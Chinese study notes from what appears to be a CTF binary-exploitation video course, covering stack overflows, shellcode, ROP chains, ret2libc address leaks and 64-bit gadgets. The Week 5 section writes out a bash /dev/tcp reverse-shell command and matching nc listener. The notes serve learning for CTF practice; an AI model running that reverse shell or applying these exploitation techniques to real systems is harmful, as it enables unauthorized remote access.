stcs

视频学习笔记

:[] -----表示视频中的位置

:() -----表示思路

:*/ -----表示说明

Week3

  -CTF Capture The Flag
  -种类:
    Jeopardy:拿Flag
    Attack-Defense:打服务器每个队伍的,拿到对方主机的Flag,并且对方会被扣分,找本身漏洞或者分析对方payload推测漏洞,在自己的binary上patch
    King of the Hill:有一队拿到Flag别的队伍不能打,回合制

  -Pwnable:
    Windows:
    Linux:找洞-> 写Exp->思路正确->本地可以 ![思路图片]  [23:15 ]  
       1.找到任意地址 read
       2.找到任意地址 write  (写GOT 写stack ROP)  */服务器端可能会开保护
  -Resource:
    ctftime.org
    pwnable.kr
  -Buffer Overflow:

Stack Overflow:  [30:00]
  Shellcode:                      具体应用[117:19]
    限制:DEP
    不可以有 \0
    可以用call + pop 的方式拿到shellcode address
    长度不足时,如果还能输入可以做个read就好即shellcode 的功能为read 然后再利用read达到想要的目的

    */objdump [41:34]  strip*/删除某些不用的节  依靠节  IDA不依靠节
  IDA如果觉得某个函数反编译错了 Undefine 了在另一个函数Code一下就会显示原来反汇编的
    查看上级调用 x */也可以看String 的上级引用
    u:认为函数被分析错误时使用 、
    c:重新在指定位置分析 
    x:查看上级调用 
    n:重命名
  Objdump:                                                 [48:00]
    -T
    -M intel 设置为intel反汇编
    设置默认intel  alias objdump='objdump -M intel'
  readelf:
    找symbol  readelf -a | grep ' printf@'
  ncat
    nact -vc 'strace -e strace=read ./程序' */''括起来的相当于一个程序  -e 设置显示函数
  gdb  [ 67:00]   
    操作[75:002]
    attach 操作出问题 将 /proc/sys/kernel/yama/ptrace_scope 设置为0
    .gdbinit:set disassembly-flavor intel
    gdb 会关闭 ALSR
  Hook & patch                      [78:00]

    alarm  */程序打开一定时间后自动关闭 防止一直跑    [79:00]
      修改alarm (vim 打开binary 有alarm  修改alarm为xxxxx -> %s/alarm/xxxxx/g :x 保存)
      */vim  %s/AAA/BBB/g   将AAA换成BBB    因为xxxxx symbol 没有所以会报错  所以需要换成 有的symbol  通常换成  isnan
      若不想打开vim 用 sed -i s/alarm/isnan/g ./程序名  也可以实现相同功能
      
      hook alarm by LD_PRELOAD      [81:13]  这个patch方法必须是 binary 为动态链接
      LD_SHOW_AUXV 
  qira                    [85:25]
  
  nasm                                       [110:00]
    nasm -f elf32 源.asm -o 目的.o
  
  ld
    ld -o 目的 源.o -m elf_i386
  objcopy
     objcopy -O 输出方式  源.o  目的
  Alphanumeric Shellcode     只有A-Z  a-z  0-9  可以使用写 shellcode          [120:00- --]
    绕过服务器 一些限制的一个思路
  
Heap Overflow:

Week4

  -Alphanumeric Shellcode [-- -60:00 ]

  -gdbserver               [5:48-12:40]
    gdbserver ip:端口  程序
    gdb >> target remote ip:端口  */gdb 连接程序的方法   停在start  
    nc -vc '命令 可以输入的和命令行可输入的一样' -kl ip 端口  */此时必须先nc 连接再用gdb 连接
    pwntools 在连接后加一行input('#') 可以挡住nc的程序继续运行 进而用gdb连接可以从主函数调试[18:20]
  -system call                 [12:40- ]

  -ROP      Return Oriented Programming                   [70:51-]
    ROP Chain
    ROP 类型
      控制register 做 syscall
      使用原程序里有的 function
      使用 libc 里有的 gadget 或 function 
    ROP syscall         [80:00-120:40]   */此处为基本构造 之后的利用为通过Stack Migration 技巧利用
      找到控制syscall所需的reg(eax,ebx,ecx,edx)
      找到 int 0x80 gadget
      ROPgedget                           */pwntools 的库 [81:30]
      Trick
        execve需要/bin/sh,且地址已知
        先用read把需要的字符串写道已知地址buffer上
        一个写ROP的很好的例子 用 map和join函数加[] */此处表示数据类型  联合使用    
        调试基本都是断在ret的地
        gtes结束标志是 \n 不加不会结束
        思路:x/i $eip
        execve 中不可以带换行\n 所以用read读的时候要注意调用的不能加换行 注意 sendline 函数[114:00]
      read    syscall                                  [80:00-109:39]
      execve   syscall                                 [109:39-120:40]
    Stack Migration                    [128:20- --]  */此处分了两部分   此处为一个Trick并不是一种利用方法 此Trick为syscall服务
    */ROP syscall 为一种方法  Stack Migration 为一种解题技巧  目的是绕过各种限制 达到syscall 的目的

Week5 [4:00-81:00 97:20-]

-利用libc 或function           [4:00-]
 
 call 程序里有的function    [5:31-12:51]
   跳.plt entry 
   函数参数直接
   用pop-ret 清掉用过的参数
 
 使用libc里的函数             [12:52-81:00]
   printf,gets,puts等函数是放在libc.so.6里
   可以直接使用ROP call libc里的system,即使程序里没有使用到的
   使用条件
     libc版本或函数offset要已知
     ASLR问题,不知道libc里函数的地址
       Address Space Layout Randomization
       Library每次程序执行时载入内存中的地址会不一样
       Stack的地址也会不一样
    
    Dynamically Linked ELF 相关操作   [18:42-27:24]
      ldd ./程序   */的之程序使用的libc路径
      readelf -s  /lib32/libc.so.6   */检查libc里的symbol   此处接的是lib 的路径 
      LD_LIBRARY_PATH=./path/to/libc   */指定要载入libc路径替换lib  如果覆盖系统的lib 会出现错误 如果想改变某个程序的lib 用此方法指定,后边接的也是目录   */并且ld 与libc应对应即一套 [25:23]  只有当时执行时有效
    
    Function Lazy Binding  [27:24-33:44]
      library在binary执行时才会载入
      第一次call函数时,解析函数的地址并填入.got.plt
      因为ASLR所以每次的值会不同
      fun_addr = offset+lib_addr
    
    Libc Base Address            [33:44-38:38]        */因为是必须要位被call过的函数 且__libc_start_main 一定会是被call过的  所以在这里用__libc_start_main  当地址中含0时一般不用      
      函数在libc中的相对位置不会变
        使用readelf得知 __libc_start_main 和 system 在 libc 里面的距离差
      使用任何输出函数打印出__libc_start_main.got位上的内容,推算出system在内存里的地址
        ROP叠出puts(__libc_start_main@got)
        要leak的got entry,对应的函数必须是已被call过 */被call过的函数的addr一般为f开头 即很大的数 至少比libc——base大
      前提:已有或已知远端的libc.so.6版本       
    
    Libc Data Base  [38:38-44:00]
      已知两个function 的addr 时可以在libcdb里找有没有对应的版本  */libcdb.com   两个函数 和其对应的函数地址 
    Stack Migration [46:27-78:00]   */实例  ROP_one 跑完之后才可以做ROP_two的实例
    
    shell反射[78:00-81:00]  */只能 input  没有 output  的时候使用
      system("bash -c 'bash -i > & /dev/tcp/ip/port 0>&1' ")   */ ip为控制端的ip  相当于给’ip’主机在本机开一个端口为'port'的shell 
      nc -klp  'port'      */连接端输入此命令等待被连接\
    
    ROP for x86-64  [97:20-130:00 ]
      64-bit ROP  [98:00-101:00]
        syscall要用rax,rdi,rsi,rdx,rcx,r8,r9  syscall
        Function call参数传递是用register  */ ret text    tet libc
          rdi,rsi,rdx,rcx,r8,r9
        需要用pop-ret控制register,再接function address 
      64-bit Register  [101:00-106:00]
        rax,rcx,rdx,rbx,rsp,rbp,rsi,rdi                         
        r8-r15使用前八个加上REX prefix来表示的 */[101:35-104:00] rax-r8 rbx-r11 rcx-r9 rdx-r10
        r12-r15是callee saved,所以r12-r15在function return前是很常见的 [104:00]  */pop rdi没有
        pop r14 = 415e / pop rsi = 5e    */所以用此两条指令分别截一半表示  pop rsi 和 pop rdi
        pop r15 = 415f / pop rdi = 5f
      ROPgadget
        ROPgadget 预设长度的搜索长度对于64bit来说不太够 [106:00-106:31]
        ROPgadget --binary ./程序 --depth 100   */增加长度
      通用gadget [106:31-]   */大部分情况下只需要控制rdi,rsi,rdx就够用了
        64bit ROP需要gadget来控制参数
        gcc产生的程序中有些片段是一定会有的,可以用来做ROP,通常要构造ret2libc不是问题
        gcc >= 4.8,一点的版本有些gadget会不太一样
      控制rdi,rsi  [107:54-111:10]
        libc_csu_init中存在    pop r12 pop r13 pop r14 pop r15
      控制rdx     [111:10-114:54]
        libc_csu_init   mov rdx,r13  mov rsi,r14 mov edi,r15d  call  XXXX   
        先放某个buffer上一个pop_rXX-ret gadget 的地址,控制r13的值、r12指向该buffer、rbx设成0
        pop_rXX 会清掉call的return address,之后再ret下一个gadget
      控制rax     [114:55-122:00]  */JOP 的时候可能会用到 rax  因为 jmp rax 指令段很常见 
        用函数的返回值来控制
          gets,fgets返回的buffer(rax=rdi) */buffer 必须可以写   
          strcpt,strncpy
          alarm   */alarm call第二次的时候它返回上次alarm为几秒 上次alarm设的值 视频中附alarm  exp [121:00] 
      控制rcx [122:00-130:00]
        很少会需要
        没有通用gadget
        通常call function 看看会对rcx造成什么样的影响
          例如strcap可能会让 ecx= 输入字符串
    De-ASLR with ROP [130:00-]   */实例
      在无法泄露时算出函数地址
        实际上很多漏洞利用的情况中,是没有办法leak memory,再送第二次ROP的 */EX web server,browser
        Function offset有可能已知,因为平台就哪几种,libc版本可以猜
        在没有信息泄露的情况下,只送一次payload,算出system的address然后call
    dl_runtime_resolve  [135:00-138:00 ]
      有一种ROP技巧,是让lazy binding函数被解析时得到错误的address
      但有一些使用限制,RELEO保护全开时(应该)没有办法 */Full RELEO  时 got.plt节只读
      
    -fno-stack-protector -Wl -z,relro,-z,now
    ROP流程[140:00-]
      想办法从got.plt上捞出东西来(base)
        使用pop_rsp_r13_r14_r15_ret,暂时把stack移动到got上,用pop把值拿出来
        在最后ret对应的格子上,与先填好leave_ret;并在一开始就先设好rbp准备好migrated stack
        取出的base在r13上
      把捞出来的东西加上offset(base+offset)
      放回memory再call它
      用好的gadget都是在64bitELF里会有的(GCC>=4.8)

你可能感兴趣的:(stcs)